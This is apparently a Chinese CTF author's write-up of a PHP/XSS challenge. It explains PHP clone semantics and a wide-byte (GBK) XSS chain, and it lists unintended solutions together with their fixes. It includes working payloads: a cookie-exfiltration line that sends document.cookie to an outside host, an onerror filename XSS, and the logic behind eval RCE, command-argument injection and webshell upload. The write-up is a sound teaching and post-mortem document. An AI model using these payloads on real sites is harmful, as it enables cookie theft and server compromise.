XCTF 高校联盟出题笔记

X

絮絮叨叨

本来没什么思路出题,想着随便构造一个反序列化的题目,就先看了看 php 的魔法方法,其中 __clone() 基本没怎么出过题目,就研究了一下这个方法的特性。

首先,__clone() 触发的条件是本对象被 clone,例如:

$someClass = new Class();
$a = clone $someClass;

在 clone 执行后会拷贝一个一模一样的 $someClass 赋值给 $a,这样一来对于需要多次重复对象操作的实际环境(数据库交互等)就可以用 clone 来提高开发效率。

但是 php 的 clone 存在一个feature,假如 $a 中拷贝的 $someClass 的某个属性也是一个对象(简称为子对象),则 $a 实际上是引用的 $someClass 中的子对象(类似 C 中的指针),即如果 $someClass 中含有子对象 $this->class,那么当 $a clone 过去之后,$a 对 $this->class 进行修改, $someClass 中也会做对应的修改,这就可能造成数据紊乱等问题,具体可见如下代码:

<?php
// Author : imagin
// Blog : https://imagin.vip
// PHP version : 7.0.10

class father{
	function __construct(){
		$this->son = new son();
	}
}

class son{
	function __construct(){
		$this->arg = 123;
	}
}

$a = new father();
$b = clone $a;
echo $a->son->arg."<br>";
$b->son->arg = 456;
echo $a->son->arg."<br>";
echo $b->son->arg."<br>";

// output:
// 123
// 456
// 456

而 __conle 就是解决这个问题的,他允许在调用 clone 的时候执行代码,使程序有有机会重新赋值子对象。

这个特性有点类似 js 中的原型链污染,只不过原型链污染是从子类污染父类,且 js 中有所有对象的爸爸 Object,所以造成的危害相对较大,但是 clone 是父对象影响子对象,能造成的危害相对有限。

CSP 保护

一般网站为了防止 xss 攻击,都会设置 CSP(Content Security Policy) 保护,但是这个保护可以被很多姿势绕过。但是出题的过程中发现这些姿势比较难构造,就放弃了这一考点,这个题的 CSP 设置为可以调用本地文件,可以执行 js,基本就跟没有一样,关于 CSP 绕过,可以看以下几篇文章:

有两个姿势可以设置 CSP 保护,一个是用 php 的 header() 定义头,另一种是直接使用 html 的 meta 标签定义。这两种方式需要在 header 函数前没有任何输出(可使用缓冲区),如果有输出会导致 CSP 设置失败。

出题时的发现

js 的弱智强制结束机制

在以下代码中,在引号中的 </script> 会被识别为 js 结束符,从而使后面的语句逃逸,直接在网站上输出 “;</script> ,又因为 </script> 会被识别成标签被浏览器解析,因此打开网站会显示 “; 。

<script>var a = "</script>";</script>
HTML在标签判断的特性

由于 HTML 本质上是文本标记语言,不能像网络协议或者 php 等编程语言正常识别转移符 \ ,因此在插入数据前即使将数据转义,也不会被 HTML 正常解析。在标签中插入的数据如果可控,就会轻而易举地造成标签逃逸,从而造成 xss 等攻击。

<input value="<?=addslashes($_GET['a'])?>" />

# test.php?a="/><script>alert(1)</script>
preg_match 双引号问题

这个其实是 php 的解析特性,比如以下代码:

<?php
$a = "123";
print('$a');
print("$a");

// output :
// $a123

双引号和单引号在 php 是有区别的,由于双引号有个能解析变量的特性,因此在正则中尽量使用单引号,避免在匹配 $ 符时造成正则失效。

php var_dump() 函数影响 header

占坑,测试题目的时候发现的,等有时间复现一下咕咕咕。

题目 wp

考察点:代码审计、绕过CSP、宽字节 xss

首先打开网站,发现网站有 CSP 保护,猜测是 xss 题目,githack 可以得到网站源码。

稍微审计代码发现反序列化点不可控,UrlHelper 这个类可以控制 header 。与用户交互的地方有上传文件、答题和留言。

class UrlHelper{
	function go(){
		if(isset($this->pre) and isset($this->after) and isset($this->location)){
			$dest = $this->pre . $this->location . $this->after;
			header($dest);
		}
		else{
			header("Location: index.php");
		}
	}
}

留言不用说肯定是植入 payload 的地方,这个点虽然在 <script> 标签内,但是被单引号括起来,再加上 User 类会把注入的 message 转义,而且限制了尖括号不能直接闭合 <script> 标签,因此无法直接植入 js 代码,可以先看其他两个交互点;

class User{	
   
    function leaveMessage($message){
		$this->info->leaveMessage($message);
	}

	function showMessage(){
		echo "<body><script> var a = '{$this->info->message}';document.write(a);</script></body>";
	}
}

class Info{
	function leaveMessage($message){
		if(preg_match("/cookie|<|>|win/i", $message, $ma)){
			$this->message = "?";
			var_dump($ma);
		}
		else{
			$this->message = addslashes($message);
		}
	}
}

其次审计答题的相关代码,发现 Askeranswer 方法有个 eval(),这个代码的功能是记录剩下的可能的正确选项(一共四个选项,选错则会把错误选项清除),正则过滤了很多函数,此处应该没有命令执行的点(也可能我没测出来,可以等赛后看看师傅们的 wp 有没有能绕过这个正则的),但是由于这里 clone 了一个 User 类,并把这个当成自己的属性,根据 php clone 函数的特性,我们可以把当前用户的任意属性强行置为 False 。由此根据前面得到的信息,可以让 $this->user->url->pre = False,由于 bool 类型的值在与字符串进行 + 操作时结果就是原本的字符串,因此这个header的前半部分就成功逃逸。

class Asker{
	function answer($user, $answer){
		$this->user = clone $user;
		if($this->right == $answer){
			$this->message = "clever man!";
			return 1;
		}
		else{
			if(preg_match("/f|sy|(|)| |;|and|or|&amp;|\||\^|\$|#|\/|\*/", $answer)){
				eval("\$this->".$answer." = false;");
				$this->updateList();
			}
			else{
				$this->message = "what are you doing bro?";
			}
			$this->times ++;
			return 0;
		}
	}
}

再审计 quiz.php 源码,发现有个 referer 会取 GET 到的值不经过判断就放到 location 中(其实这里一开始是想用 httpreferer,但是由于 payload 中有 =,发送给服务器会报 500错误,只能退而求其次),访问 quiz.php?referer=Content-Type: text/html; charset=GBK; Referer: index 即可用 GBK 编码绕过单引号限制。

之后是上传文件操作,黑名单限制了不能直接传可执行文件,但是没有拦截 wave 文件,因此可以上传 wave 文件绕过 CSP(wave 绕 csp 需要 <script src=’1.wave’> 形式,由于构造比较麻烦因此本题没有涉及,此处上传任意后缀的文件都可执行)。

更正:这个点是我没考虑清楚,跟 shana 师傅讨论了一下之后发现不止 wave 文件可以绕过,除了媒体流文件(mp3、mp4、wav 等后缀)均可以绕过 CSP(甚至 xxx 后缀也可)。

class Uploader{
	function __construct(){
		$this->black_list = ['ph', 'ht', 'sh', 'pe', 'j'];
	}

	function check(){
		$ext = substr($_FILES['file']['name'], strpos($_FILES['file']['name'], '.'));
		$reg = "";
		foreach ($this->black_list as $key) {
			$reg .= $key . "|";
		}
		$reg = "/" . $reg . "\x|\s|[\x01-\x20]/i";
		if(preg_match($reg, $ext, $mathches)){
			echo "Nope!";
			$this->flag = 0;
		}
		$this->ext = $ext;
	}
}

最后到 index.php 进行留言,用 %df%27 绕过单引号,就可以植入 js 代码。注意植入的代码不能有单引号,用 jsString.fromCharCode() 方法可以用 ascii 凑出 string,从而弹窗执行,最后访问 teacher.php 算出 md5 提交即可 getflag

# payloads:
# Author : imagin

# 将 pre_word 置空
quiz.php?answer=user->url->pre

# 控制 header
quiz.php?referer=Content-Type: text/html; charset=GBK; Referer: index

# 上传 wave 文件
window.open('http://imagin.vip:23333/?'+document.cookie);

# 留言 保存 xss payload
index.php?message=%df%27;var b = String.fromCharCode(115,99,114,105,112,116);
var c = String.fromCharCode(49,46,119,97,118,101);
x=document.createElement(b);x.src=c;document.body.appendChild(x);//

测试中的一吨非预期

代码逻辑 正则未执行导致eval RCE

这个非预期比较弱智,触发点在 lib.php 中那个 eval 之前的正则,一开始正则中的小括号没加转移符,导致整个正则的失效。

修复方案:修改弱智代码。

用户名无过滤xss

用户名处一开始并未限制输入,因此可以直接插入 js 代码,随便打 cookie。

修复方案:后面加了层正则就妥了。

正则未过滤分号反引号 eval RCE

这个其实是debug时候的一个小疏忽,由于代码版本的问题,服务器上的是旧版代码,没有禁掉分号,导致师傅们用反引号直接执行命令,后来听 Y1ng 师傅说反引号实际上引用的是 shell_exec 函数,在 php.ini 中禁掉就可了。

修复方案:正则禁掉分号反引号,php.ini 禁了一堆函数

check.php构造RCE获取cookie地址

一开始 check.php 没关回显,代码的逻辑是这样:

<<?php
if(isset($_GET['id'])){
	putenv('PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin');
	$cmd = "python3 /bot.py {$_GET['id']} {$_SERVER['HTTP_HOST']}";
	exec($cmd);
}
?>

由于有个可控的 id 在前面,这里也没有过滤,因此在 id 处构造一个空格后面加上自己的 vps 地址就可以把第二个参数挤出去,在 vps 上监听对应的地址即可接受到 bot 发来的包。

修复方案:把这两个参数换位置,以后写代码要把可控参数放在最后。

文件名后缀构造onerror xss

文件上传处虽然文件名被 md5 混淆,但是后缀并没有被转换,上传的文件最后会拼接成:

<img src = "/var/www/html/upload/md5.jpg" width="200px" />

可以在后缀名动手脚,上传任意文件,后缀为:

1.a"onerror=alert(1);a="

之后会被拼接成:

<img src = "/var/www/html/upload/1.a"onerror=alert(1);a="" width="200px" />

从而成功弹窗。

修复方案:过滤掉引号转义符和&等编码符号。

eval过滤不严格导致rce

eval 处可以用短标签 <?=?> 形式注入代码,从而导致 RCE。

修复方案:eval之前加个白名单,只允许部分字符。

black_list 置为 false 导致任意文件上传

访问 quiz.php?answer=user->uploader->black_list 会导致将文件后缀名的黑名单情况, 可以直接传马,比赛中拿了一血的星盟就是这个方法做的 (╯‵□′)╯︵┻━┻,后来我也传了马紧急热修了,由于本懒狗没更新 .git,所以才有师傅们审出来了这个洞却没打成功,谢罪谢罪。

修复方案:过滤掉 black_list 或者给 uploader 增加 __wakeup() 方法重置黑名单。

总结

这次出题真的学到了很多,主要是负责测试的师傅们直接爆了五六个非预期出来,师傅们八仙过海,展示了各种骚操作骚姿势。出一个题结果有至少六个解,真的是物超所值 233333。感觉下次再出类似的题目,思路开阔了很多。

Imagin 丨 京ICP备18018700号-1


Your sidebar area is currently empty. Hurry up and add some widgets.